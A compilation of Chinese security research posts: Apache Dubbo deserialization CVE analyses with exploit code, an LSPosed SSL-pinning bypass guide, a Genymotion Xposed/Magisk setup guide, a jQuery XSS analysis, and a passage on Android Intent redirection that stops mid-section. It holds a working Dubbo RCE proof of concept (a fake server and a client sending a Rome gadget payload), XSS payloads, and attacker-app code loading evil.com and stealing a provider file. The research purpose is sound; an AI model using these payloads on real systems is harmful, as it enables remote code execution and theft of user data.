Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

本文转自RacerZ 并作补充

写在前面

最近学习并梳理了一下 Apache dubbo 的两个经典由于泛化调用处理存在问题的 CVE 漏洞,并分析了一下最新 CVE-2023-29234 ,总结出了两种利用方式。

CVE-2021-30179

前置:泛化调用

泛化调用(客户端泛化调用)是指在调用方没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。详细见 https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

调试分析

org.apache.dubbo.remoting.transport.DecodeHandler#received 作为客户端 RPC 调用请求信息处理的入口点,调用 decode 方法。

image

根据参数类型可知实际会调用到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
其中会先调用 CodecSupport.getSerialization 方法,根据 id 选择相应的反序列化策略,默认会走 org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize ,最终返回一个 Hessian2ObjectInput 实例。接着这一部分会按照顺序依次解析序列化流,获取 dubbo 服务版本、服务类路径、子版本、服务方法名以及参数描述符。

image

之后会根据方法名和参数名在服务端查找是否存在对应的服务方法,如果为 null,则调用 RpcUtils.isGenericCall 判断是否为泛型引用。

image

image

如果是的话则调用 ReflectUtils.desc2classArray 方法显式加载 desc 当中的类。之后根据类型执行 readObject 反序列化参数值,并设置到 RpcInvocation 实例的各个字段当中。

image

这个地方之前也是存在反序列化攻击利用的(感兴趣的师傅可以翻一翻以前的 CVE 分析)。不过根据

https://threedr3am.github.io/2021/06/01/CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter/
提到:“受限于默认hessian或者已配置的序列化类型,具有一定的局限性”。

整体梳理一下这部分序列化/反序列化参数顺序:

  • string * 5 (dubboVersion / path / version / methodName / desc)
  • object * args (参数值实例,具体数量根据方法描述符 desc 决定)
  • map (这里面可用于设置 generic key)
    之后会去执行 org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler#received ,这里关注到 message 参数类型当前为 Request 类,因此会走第一个分支(后续会关注到 Response 分支部分)。

image

观察到刚才解析得到的各个参数值位于 messagemData 字段。

image

第一个分支当中会再次取出 mData 的字段值转化为 RpcInvocation 类实例,并调用 org.apache.dubbo.remoting.exchange.support.ExchangeHandlerAdapter#received 方法,进一步调用 reply

image

之后就会触发一系列 Filter 的 invoke 方法,调用栈如下:

image

关键 filter 函数是 org.apache.dubbo.rpc.filter.GenericFilter#invoke ,再次判断是否为泛型引用之后,会根据 inv 中提供的方法名从 dubbo 服务中找到对应方法,并取出参数类型和具体的参数值。

image

中间会从 invattachments 中取出 key 为 generic 的值,这个 generic 代表不同的反序列化策略,除 raw.return 外还有 nativejava、bean、protobuf-json 等。

raw.return 反序列化方式分析

这里如果值为 raw.return ,则会调用 PojoUtils.realize 方法,接着会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,并使用 ClassUtils.forName 方法,其中会对传入的 className 使用应用类加载器进行类加载。

image

之后对于加载的 class 调用 newInstance 进行实例化。这里首先会去调用 class 默认的 public 构造函数,如果无法访问则会去遍历所有的构造器,优先获取参数个数为 0 的构造函数并反射调用。

image

之后便是漏洞的一大利用点,它针对 HashMap 当中剩下的键值,先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法(要求为单参数),如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值,并反射调用;如果获取不到 setter 方法,则直接反射设置 field 的值。

image

因此针对 raw.return 反序列化方式的利用是通过 Map 的方式来传入利用 class,可利用 class 的位置有 3 个:

1
2
3
1. public/private 修饰的无参构造函数
2. 参数为 1 的 setter 方法
3. 支持对实例化的 class 任意字段赋值

bean 反序列化方式分析

这里会先遍历判断每个参数值是否为 JavaBeanDescriptor 类型,如果是则调用 JavaBeanSerializeUtil.deserialize 方法。

image

后面会调用到 instantiateForDeserialize 实例化方法,其中调用name2Class 方法中的 Class.forName 进行类加载,然后 instatiate 实例化。

image

image

之后 deserializeInternal ,与 raw.return 的利用思路类似,如果 beanDescriptor 实例的 type 等于 TYPE_BEAN 的话则会依次执行指定 key 字段的 setter 方法或者反射为字段赋值。

image

PS:其中 type 可以通过构造 beanDescriptor 实例时设置。

image

native 反序列化方式

这个利用比较特殊,需要配置中开启 dubbo.security.serialize.generic.native-java-enable 选项才能使用。
这里如果参数值为 byte[] 数组的话,则会传入 UnsafeByteArrayInputStream 构造函数当中,后加载并调用 NativeJavaObjectInputdeserialize 方法。

image

该类的 inputStream 字段封装了 ObjectInputStream 输入流,最终反序列化时也会调用的是后者,因此可触发二次反序列化。

image

CVE-2023-23638 (学习 bypass 思路)

受影响版本:Apache Dubbo 3.0.x <= 3.0.13;3.1.x <= 3.1.5
前版本 diff 分析
org.apache.dubbo.rpc.filter.GenericFilter#invoke 方法当中,会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,调用 SerializeClassChecker.getInstance().validateClass ,里面会作黑名单检查。

image

image

bypass 思路

native 反序列化方式

这个反序列化方式可以让我们触发一个二次反序列化,从而绕过上述安全检查。但是困难点在于 dubbo.security.serialize.generic.native-java-enable 选项默认未开启,因此利用思路就是寻找如何将它打开。
于是这个 org.apache.dubbo.common.utils.ConfigUtils#setProperties 方法就十分有用,利用它可将CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE 属性设置为 true 即可。当然从 dubbo 的源码中可知 System.setProperties 也是可以直接设置 dubbo 服务属性的。
因此绕过部分的 map 就可以写成:

image

raw.return 反序列化方式

SerializeClassChecker 类的 CLASS_DESERIALIZE_BLOCKED_SET 置空或者 OPEN_CHECK_CLASS 设置为 false,这个类实例的获取方式为单例模式,因此需要控制 INSTANCE 字段为上面指定的实例。

image

绕过部分的 map 可以写成:

image

修复方案

新增 SerializeClassChecker 类检查器,其中指定了 dubbo.application.check-serializable 默认为 true。

image

其中的 validateClass 方法会检查指定反序列化类是否可序列化。这个方法会在 realize0 中调用。

image

之前需要用来设置属性的利用类 org.apache.dubbo.common.utils.ConfigUtils 以及 java.lang.System 均未实现序列化接口,因此不再可利用;同样,org.apache.dubbo.common.utils.SerializeClassChecker 也未实现序列化接口,无法覆盖其相关检查字段。

CVE-2023-29234 (1day)

受影响版本:

image

git diff: https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
org.apache.dubbo.common.serialize.ObjectInput#readThrowable 方法抛出异常的地方作了修改,而之前版本会直接打印 obj 对象,隐式触发 toString 方法,漏洞场景类似 CVE-2021-43297。

image

反向溯源调用位置,位于该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

image

调用链如下:

1
2
3
4
5
6
7
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
--->
handleException()
--->
ObjectInput.readThrowable()
--->
obj.toString()

Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 可知 DecodeableRpcResult 这个类是在 dubbo 服务的消费者接收提供者方发来的响应时解码使用。

利用方式一:fake server

测试版本:Apache Dubbo 3.1.10
我们知道 dubbo 支持多种序列化方式,对于 dubbo 协议来说默认为 hessian2,其他如下所示(hessian2 对应 id 为 2,也可以通过 Serialization.getContentTypeId() 获得)

image

由官方文档可知,这个协议如何配置完全由服务方定的,因此完全可以做一个 fake server 来诱导客户端主动连接。

image

因此我们可以重写服务端编码响应信息函数的部分逻辑,主动构造一个用于上面提到的 toString 调用链对象来替代 Throwable 实例 th。
具体重写位置在 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeResponseData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
Result result = (Result) data;
// currently, the version value in Response records the version of Request
boolean attach = Version.isSupportResponseAttachment(version);
// Throwable th = result.getException();
Object th = null; // 利用点: 用于 toString 的 gadget chain
try {
th = getThrowablePayload("open -a calculator");
} catch (Exception e) {

}

if (th == null) {
Object ret = result.getValue();
if (ret == null) {
out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
} else {
out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);
out.writeObject(ret);
}
} else {
out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
// out.writeThrowable(th);
out.writeObject(th); // 直接序列化对象即可
}

if (attach) {
// returns current version of Response to consumer side.
result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
out.writeAttachments(result.getObjectAttachments());
}
}

这里的 toString 调用链以 Rome toString 的利用部分为例,师傅们也可以选择/挖掘其他可利用的 gadget;同时,为了方便这里直接指定服务端的协议配置中的序列化方式为 nativejava,它反序列化时直接会使用 ObjectInputStream#readObject 。大家也可以探索一下其他序列化方式当中的黑名单绕过情况。

1
<dubbo:protocol name="dubbo" port="20880" serialization="nativejava"/>

客户端发起正常服务请求后,解码响应信息时顺利触发至 org.apache.dubbo.common.serialize.ObjectInput#readThrowable 位置,状态如下:

image

利用方式二:客户端打服务端

测试版本:3.1.5
由于 dubbo 并没有限制客户端不能发送 Response 数据,因此客户端同样可以构造一个 Response 信息发给服务端。
但是在服务端解码响应信息时,即函数调用位置为 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody,不同版本之间存在差异性,这里测试了一下 3.1.10 以及 3.1.5 之间的区别。
首先是 3.1.5 版本,注意到在创建 DecodeableRpcResult 实例时,其中一个构造参数 invocation 来自于 getRequestData(id)

image

跟入可知这个 invocation 来自于 dubbo 服务当中还没处理完毕的请求,会根据 id 值来获取,而由于我们这里只发送了一个 Response 信息,DefaultFuture 当中的 FUTURES map 为空,这里也就会返回 null。

image

但是依然可以将 DecodeableRpcResult 实例构造出来,并设置到 res 变量的 mResult 字段当中。

image

后续在触发到 toString 入口的过程中,不会因为 mResult 字段为 null 或者非 Decodeable 类而中断(DecodeableRpcResultDecodeable 的实现)。

image

而对于 3.1.10 版本,getRequestData 方法如果获取不到 future 会直接抛出异常,进而无法创建出有效的 DecodeableRpcResult 实例。

image

进而,后续 message 参数会由于是 null 而直接返回。

image

这里给出 3.1.5 版本下的测试 POC 核心部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void main(String[] args) throws Exception {

ByteArrayOutputStream boos = new ByteArrayOutputStream();
ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
Serialization serialization = new NativeJavaSerialization();
NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

// header.
byte[] header = new byte[HEADER_LENGTH];
// set magic number.
Bytes.short2bytes(MAGIC, header);
// set request and serialization flag.
header[2] = serialization.getContentTypeId();

header[3] = Response.OK;
Bytes.long2bytes(1, header, 4);

// result
Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
out.writeByte(RESPONSE_WITH_EXCEPTION);
out.writeObject(exp);

out.flushBuffer();

Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
boos.write(header);
boos.write(nativeJavaBoos.toByteArray());

byte[] responseData = boos.toByteArray();

Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(responseData);
outputStream.flush();
outputStream.close();
}

protected static Object getThrowablePayload(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);

return delegate;
}

image

完整 POC 项目基于 DubboPOC 作的修改和添加,可见 CVE-2023-29234
PS:git diff 当中还存在其他位置的 patch,值得进一步探索其他的利用方式(篇幅有限)。

引用

[1] Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索 - 先知社区 (aliyun.com)
[2] CVE-2023-29234: Bypass serialize checks in Apache Dubbo-Apache Mail Archives
[3] 开发服务 | Apache Dubbo
[4] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 - 先知社区 (aliyun.com)
[5] 【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179) (qq.com)
[6] RPC 通信协议 | Apache Dubbo
[7] DubboPOC/src/main/java/top/lz2y/vul/CVE202323638.java at main · lz2y/DubboPOC (github.com)
[8] Apache Dubbo 反序列化漏洞(CVE-2023-29234) · Issue #334 · y1ong/blog-timeline (github.com)

APP 测试 - LSPosed 绕过 SSL 证书抓包

APP 测试 - LSPosed 绕过 SSL 证书抓包

本文转自LuckySec 并作补充

前言

前面介绍了通过《VirtualXposed 绕过 SSL 证书抓包》,这个方法有些局限性,比如不能在电脑上的《夜神模拟器》、《雷电模拟器》运行,需要一部测试手机等因素,对于部分人来说可能不太方便,还是更喜欢都在电脑上完成这系列操作,可以尝试用 LSPosed 绕过 SSL 证书抓包。

0x01 工具简介

LSPosed 是一个基于 Riru/Zygisk 的 ART Hook 框架,该框架利用 LSPlant 挂钩框架提供与 OG Xposed 一致的 API, 支持 Android 8.1 ~ 13。

Xposed 是一个模块框架,可以在不接触任何 APK 的情况下改变系统和应用程序的行为。利用 Xposed 的 TrustMeAlready 模块插件,可以防止软件检测抓包,绕过大部分 ssl-pinning,保证 APP 抓包的可续性能。

0x02 下载安装

特别提示:在安装之前需要注意以下几点:

0x03 抓包教程

注意:如果用雷电模拟器请使用 9.0.19 或之前的版本,避免不必要的问题发生。

以夜神模拟器为例,添加并运行一个 Android 9 的虚拟机。

image

在模拟器设置里将虚拟机设置为网络桥接模式、开启 ROOT(默认开启),设置好后重启虚拟机。

image

在夜神模拟器虚拟机里安装 Magisk.apkMagisk Terminal Emulato.apkapp-debug.apk(安装成功不显示在主界面)、LSPosed-manager.apk

image

打开 Magisk Terminal Emulator.apk,按照如下步骤操作:输入 m 按回车 > 再输入 y 按回车 > 超级用户授权允许 > 再输入 1 按回车 > 输入 a 按回车 > 再输入 1 按回车 > 完毕。

image

上述步骤完成后,重启模拟器,打开 Magisk.apk 可以发现 Magisk 安装成功。

image

打开 Magisk.apk > 点击右上角齿轮按钮 > 界面往下滑动,找到 Zygisk 选项打开并重启模拟器虚拟机。

image

接着将 LSPosed-v1.8.6-6712-zygisk-release.zip 复制到模拟器文件夹里面。打开 Magisk.apk > 底部模块选项 > 从本地安装 > 选择模拟器文件夹内的 LSPosed-v1.8.6-6712-zygisk-release.zip 卡刷包。

image

重启模拟器虚拟机后,打开 LSPosed-manager.apk,可以发现 LSPosed 安装成功了。

image

然后在夜神模拟器虚拟机里安装 TrustMeAlready-v1.11.apk,安装这个 apk 主界面图标可能会卡在安装的动画,不必在意,忽略即可。

image

接着打开 LSPosed-manager.apk 的底部模块选项,点击 TrustMeAlready,启动模块,选择要测试的 APP。

image

使用 BurpSuite 工具开启代理抓包,设置监听地址为同一局域网 IP 地址,端口自定义,不与电脑其他端口冲突使用即可。

image

在夜神模拟器手机系统设置中将 WiFi 的代理设置为 BurpSuite 监听器的地址。

image

最后,打开要测试的 APP,刷新功能页面,在 BurpSuite 中即可看到抓取的 HTTP/HTTPS 网络数据包。

image

参考文章

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

本文转自Genymotion Help Center 并作补充

Warning

GENYMOBILE assumes no liability whatsoever resulting from the download, install and use of Xposed, EdXposed, LSPosed and Magisk. Use at your own risk.

Note

Because Xposed and EdXposed are no longer maintained, we strongly recommend not using them anymore.

Android 5.0 - 7.1

Prerequisites

  • Xposed framework
  • Xposed installer

Installation

  1. Drag’n drop the Xposed framework zip file (xposed-vXX-sdkXX-x86.zip) to your virtual device display to flash the device.
  2. Drag’n drop Xposed Installer APK (XposedInstaller_*.apk). This should install and launch Xposed Installer application. At this stage, it will display that the Xposed framework is installed but disabled:

image

  1. Reboot the device with adb reboot command. Do not reboot from *Xposed Installer* as this will freeze the device.

  2. Launch Xposed installer. It should display “Xposed Framework version XX is active”:

image

Android 8.0

Xposed only works with Android 5.0 to 7.1. For Android 8.0, you need to use Magisk + Edxposed instead.

Prerequisites

Installation

Step 1: Install Magisk

  1. Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.
  2. Drag’n Drop Magisk_rebuilt_1c8ebfac_x86.zip and flash it.
  3. When flashing is complete, reboot the device.
  4. Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

image

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

image

  1. You will then be prompted with an update to apply, accept it:

image

  1. The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

image

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

  1. Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. Do not flash it! The archive must be installed from Magisk Manager.
  2. Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

image

  1. Click “install from storage”:

image

  1. Go to the Download folder from the menu:

image

  1. Select the Riru archive, riru-v25.4.4-release.zip
  2. Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

image

Important

Make sure NOT to update to Riru v26 as it does not work with EdXposed right now.

Step 3: Install EdXposed

  1. You can install EdXposed framework from Magisk Manager. Go to Magisk Manager module manager:

image

  1. Open the search widget and input “Edxposed”. Select Riru - EdXposed:

image

  1. Install the module:

image

  1. Reboot the device.

  2. Drag’n drop Edxposed manager APK file (EdXposedManager-4.5.7-45700-org.meowcat.edxposed.manager-release.apk) to the device display.

  3. Reboot the device

Edxposed manager should launch and display “Edxposed framework is active”:

image

Android 8.1 and above

Edxposed and Xposed are no longer maintained and there are no builds for Android 12 and above.

Instead, we will use LSPosed and Magisk for Android 8.1 and above.

Prerequisite

Installation

Step 1: Install Magisk

  1. Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.
  2. Drag’n Drop the flashable archive:
    • Magisk_rebuilt_1c8ebfac_x86.zip if you use Android 8.1 - 10
    • Magisk_rebuilt_1c8ebfac_x86_64.zip if you use Android 11 and above on a PC or an old Mac Intel
    • Magisk_rebuilt_1c8ebfac_arm64.zip if you use a mac M1/M2
  3. When flashing is complete, reboot the device.
  4. Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

image

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

image

  1. You will then be prompted with an update to apply, accept it:

image

  1. The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

image

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

  1. Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. The flashing process will fail, but this is normal. The archive must be installed from Magisk Manager.
  2. Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

image

  1. Click “install from storage”:

image

  1. Go to the Download folder from the menu:

image

  1. Select the Riru archive, riru-v25.4.4-release.zip

  2. Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

image

Step 3: Install Riru - LSPosed

  1. Drag and drop the LSPosed archive to the device. Do not flash it!
  2. Open Magisk Manager, go to the plugin manager page:

image

  1. click Install from storage and select LSPosed-v1.8.6-6712-riru-release.zip:

image

  1. Reboot the device when prompted

  2. Drag’n Drop LSPosed_manager.apk, LSPosed manager should open:

image

jQuery最新xss漏洞分析——CVE-2020-11022/11023

jQuery最新xss漏洞分析——CVE-2020-11022/11023

本文转自Jayway 并作补充

背景

jQuery官方上周发布了最新版本3.5.0,主要修复了两个安全问题,官方博客为:

1
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

据NVD描述:在大于或等于1.2且在3.5.0之前的jQuery版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),从而导致xss漏洞。

image

二、前置知识

在讲解漏洞之前,需要了解jQuery的基本用法和历史漏洞,具体可参考:jQuery框架漏洞全总结及开发建议:

1
https://mp.weixin.qq.com/s/M1BYj6VbeoNV4C5M7cR_hA

而与此次jQuery漏洞联系比较紧密的是html()等方法,此方法返回或设置被选元素的内容 (inner HTML),可用于设置所有选定元素的内容,看一个简单的使用案例:

image

此处定义一个点击事件,会对所有的p元素进行匹配,并修改为相同的内容。

三、漏洞复现

对于此漏洞原作者搭建了在线环境,内置了三个xss poc,点击Append via .html()按钮即可触发xss:

1
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

image

审查源码,逻辑很简单:

image

首先使用如下代码模拟了一个开发场景,即将页面的所有div元素替换为根据ID取到的sanitizedHTML:

1
2
3
4
5
6
7
8
9
10
<script>
function test(n,jq){
sanitizedHTML = document.getElementById('poc'+n).innerHTML;
if(jq){
$('#div').html(sanitizedHTML);
}else{
div.innerHTML=sanitizedHTML;
}
}
</script>

虽然三个poc都使用了包含onerror事件的img标签,但其实它们是放在属性或style元素内部,因此会绕过HTML清理器。

以poc1为例,根据此id取到的值如下:

1
<style><style /><img src=xonerror=alert(1)>

点击之后,执行xss,此时审查div元素:

image

发现我们提交的poc多了一个闭合标签,变成了:

1
<style><style /></style><imgsrc=x onerror=alert(1)>

闭合了

Android App安全之Intent重定向详解

Android App安全之Intent重定向详解

本文转自OPPO安珀实验室 并作补充

未导出组件和非导出组件

导出组件(公有组件)

导出组件一般有以下三种形式:

1
2
3
4
5
1.在AndroidManifest.xml中的组件如果显式设置了组件属性android:exported值为true;

2.如果组件没有显式设置android:exported为false,但是其intent-filter以及action存在,则也为导出组件;

3.API Level在17以下的所有App的provider组件的android:exported属性默认值为true,17及以上默认值为false。

任意第三方App都可以访问导出组件。

未导出组件(专用组件)

1.在AndroidManifest.xml中注册的组件显式设置android:exported=”false” ;

1
<activity android:name=".WebViewActivity" android:exported="false" />

2.组件没有intent-filter, 且没有显式设置android:exported的属性值,默认为非导出的;

1
<activity android:name=".WebViewActivity" />

3.组件虽然配置了intent-filter,,但是显式设置android:exported=”false”。

1
2
3
4
5
6
7
<activity android:name =".WebViewActivity" android:exported="false" >
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>

这三种组件称为专有组件或者未导出组件,三方应用无法直接调用这种组件。例如WebViewActivity中有以下代码:

1
2
3
4
5
6
7
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ...
Intent intent = getIntent();
String Url = intent.getStringExtra("url");
// ...
webView.loadUrl(Url);

第三方应用直接访问上述未导出的WebViewActivity组件来加载url,

1
2
3
4
intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ui.WebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

系统将会抛出java.lang.SecurityException, due to Permission Denial: WebViewActivity not exported from uid xxx.

Intent重定向

那么如果三方APP要想访问上述非导出的WebViewActivity是不是就没有办法了呢?

当然不是! 其中一种常见的方式即为在本文中介绍Intent重定向, 即将Intent类的对象作为Intent 的Extras通过一个导出组件传递给非导出的组件, 以此来实现访问非导出的WebViewActivity组件。

原理在于,Android 组件之间传输的Intent类是实现了Parcelable的。

1
public class Intent implements Parcelable, Cloneable {

因此可以将属于Intent类的对象作为Intent的 extra数据对象传递到另一个组件中,相当于在Intent中嵌入Intent。

这时,如果App从不可信 Intent 的Extras字段中提取出嵌入的 Intent,然后对这个嵌入 Intent 调用 startActivity(或类似的 startService 和 sendBroadcast),这样做是很危险的; 因为攻击者原本是无法访问非导出的组件的,但是通过intent重定向,即以导出的组件作为桥即可以访问非exported的组件,达到launch anywhere或者broadcast anywhere的目的。

其原理如下图所示:

image

Intent重定向违反了Android的安全设计,导致Android的安全访问限制(App的沙箱机制)失效。

Intent重定向可能导致以下安全问题:

1
2
3
1.启动非导出组件,通过精心构造的可控的Intent参数来执行敏感操作,如果可以重写或者替换native 库,甚至还会导致任意代码执行;

2.可以获取非导出的content provider组件的content:// URI的访问权限来窃取敏感文件.

接下来我们分别举三个例子来说明:

启动非导出组件

我们继续以上述的未导出的WebViewActivity为例子, 查找在App中是否存在导出Activity中包含了Intent重定向漏洞。刚好存在一个导出的com.victim.ui.HomeActivity组件符合预期。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void onResume() { 
// ...
handleIntentExtras(getIntent());
// 攻击者可以从外部输入任意intent
}
private void handleIntentExtras(Intent intent) {
// ...
Intent deeplinkIntent = (Intent)intent.getParcelableExtra("extra_deep_link_intent");
// ...
if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) {
/ / ...
startActivity(deeplinkIntent); // 危险! 打开攻击者发送的Intent
// ...
}
// ...
}

攻击者可以实现通过这个导出的HomeActivity访问任何受保护的未导出的Activity; 我们可以编写一个攻击App,将发向HomeActivity的Intent重定向到未导出的组件WebViewActivity中,让WebViewActivity的WebView加载攻击者的恶意链接,从而达到绕过Android的权限限制的目的。

1
2
3
4
5
6
7
8
Intent next = new Intent(); 
next.setClassName("com.victim", "com.victim.ui.WebViewActivity");
next.putExtra("extra_url", "http://evail.com"); // 加载攻击者的钓鱼网站
next.putExtra("extra_title", "test");

Intent intent = new Intent();
intent .setClassName("com.victim", "com.victim.ui.HomeActivity"); intent .putExtra("extra_deep_link_intent", next); // 嵌入Intent
startActivity(intent);

越权访问content provider

除了可以访问任意组件之外,攻击者还可以访问满足以下条件的APP的Content Provider的组件:

1
2
3
1.该组件必须是非导出的(否则可以直接攻击,无需使用我们在本文中讨论的模型)

2.组件还设置了android:grantUriPermissions为true。

同时,攻击者在实现攻击时,必须将自己设置为嵌入Intent的接收者,并设置以下标志:

1
2
3
4
5
6
7
1).Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION允许对提供者的持久访问(没有此标志,则访问仅为一次)

2).Intent.FLAG_GRANT_PREFIX_URI_PERMISSION允许通过前缀进行URI访问。

3).Intent.FLAG_GRANT_READ_URI_PERMISSION允许对提供程序进行读取操作(例如query,openFile,openAssetFile)

4).Intent.FLAG_GRANT_WRITE_URI_PERMISSION允许写操作

比如在App中有一个非导出的file provider, 该provider在其私有目录的database路径下保存了secret.db文件,该文件中保存了用户的登录账号信息。

该file provider的设置如下:

1
2
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.android.victim" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/></provider>

为了简便起见,APP的资源文件res/xml/provider_paths文件的配置为

1
2
3
<paths>
<root-path name="root" path="/"/>
</paths>

我们无法直接访问file provider, 但是可以通过Intent重定向来窃取secret.db文件。

payload如下:

1
2
3
4
5
6
7
8
9
10
Intent next= new Intent();
next.setClassName(getPackageName(), "com.Attacker.AttackerActivity");
// 设置为攻击者自己的组件
next.setData(Uri.parse("content://com.victim.localfile/secret.db"));
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
// 添加所有可以访问content provider的读写flag

Intent intent = new Intent();
intent.setClassName("com.victim.localfile", "com.victim.localfile.LoginActivity"); intent.putExtra("com.victim.extra.NEXT_INTENT", next);
startActivity(intent);

通过WebView访问任意组件

通常我们可以通过调用Intent.toUri(flags)方法将Intent对象转换为字符串,同时可以使用Intent.parseUri(stringUri,flags)将字符串从字符串转换回Intent。此功能通常在WebView(APP内置浏览器)中使用。APP可以解析intent:// 这种类型的scheme,将URL字符串解析为Intent对象并启动相关的Activity。

漏洞代码示例:

1
2
3
4
5
6
7
8
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

要利用此漏洞,攻击者可以通过Intent.Uri方法创建一个WebView重定向Intent 的url,然后让WebViewActivity去加载该Url,由于在shouldOverrideUrlLoading方法中没有做完整的校验,会存在Intent重定向漏洞。

1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.WebViewActivity");i
ntent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME));
//"intent:#Intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

// 攻击代码
location.href = "intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

查看此类漏洞的方法

如何在App中快速的找到此类漏洞呢?我们可以从以下三个方面入手:

1.在App中查找导出组件,并且检查该组件是否接收从外部输入的Intent对象。

2.在上述组件中查找对startActivity(或 startService 和 sendBroadcast)的调用,并验证其Intent组件是否是从受信任的数据对象来构造的。

3.查找Intent 的 getExtras方法的调用,是否有将该方法的返回值强制转换为Intent;并在使用这种嵌入的Intent之前进行了完整的校验。

漏洞缓解方法

那么,如何缓解Intent重定向漏洞呢 ?

方法1:将受影响的应用组件设为专用组件。

